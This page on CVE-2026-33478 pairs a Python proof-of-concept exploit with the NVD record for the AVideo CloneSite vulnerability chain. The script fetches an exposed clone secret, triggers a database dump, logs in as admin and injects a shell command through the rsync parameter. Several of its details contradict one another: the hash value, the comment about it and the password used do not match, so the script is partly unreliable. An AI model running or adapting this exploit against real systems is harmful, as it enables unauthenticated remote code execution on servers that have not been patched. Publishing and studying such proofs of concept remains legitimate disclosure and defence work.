CVE-2026-33478

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-33478 import requests import re target = "http://avideo-target.com" # Step 1: Information Disclosure - Get Clone Secret print("[+] Step 1: Fetching clone secret from clones.json.php") resp = requests.get(f"{target}/plugin/CloneSite/clones.json.php") secret = resp.json()['secret'] # Assuming key is 'secret' print(f"[+] Secret obtained: {secret}") # Step 2: Database Dump print("[+] Step 2: Triggering database dump via cloneServer.json.php") data = {"key": secret} dump_resp = requests.post(f"{target}/plugin/CloneSite/cloneServer.json.php", data=data) print("[+] Database downloaded (simulated). Extracting admin hash...") # Assume admin hash found: 5f4dcc3b5aa765d61d8327deb882cf99 (hello) admin_hash = "5f4dcc3b5aa765d61d8327deb882cf99" # Step 3: Cracking MD5 (Simplified for PoC) print("[+] Step 3: Cracking MD5 hash...") # In real scenario, use hashcat or john. Here we assume cracked. admin_pass = "password123" # Step 4: OS Command Injection print("[+] Step 4: Exploiting Command Injection in cloneClient.json.php") # Injecting command via rsync parameter construction payload = "; echo 'CVE-2026-33478 RCE' > /tmp/poc.txt; #" exploit_data = { "user": "admin", "pass": admin_pass, "rsync": payload # Vulnerable parameter } rce_resp = requests.post(f"{target}/plugin/CloneSite/cloneClient.json.php", data=exploit_data) if rce_resp.status_code == 200: print("[+] Exploit executed successfully. Check /tmp/poc.txt on target.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-33478", "sourceIdentifier": "[email protected]", "published": "2026-03-23T15:16:34.063", "lastModified": "2026-03-24T18:51:55.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands. Commit c85d076375fab095a14170df7ddb27058134d38c contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, múltiples vulnerabilidades en el plugin CloneSite de AVideo se encadenan para permitir a un atacante completamente no autenticado lograr la ejecución remota de código. El endpoint 'clones.json.php' expone claves secretas de clonación sin autenticación, lo que puede usarse para desencadenar un volcado completo de la base de datos a través de 'cloneServer.json.php'. El volcado contiene hashes de contraseñas de administrador almacenados como MD5, que son trivialmente descifrables. Con acceso de administrador, el atacante explota una inyección de comandos del sistema operativo en la construcción del comando rsync en 'cloneClient.json.php' para ejecutar comandos de sistema arbitrarios. El commit c85d076375fab095a14170df7ddb27058134d38c contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/c85d076375fab095a14170df7ddb27058134d38c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}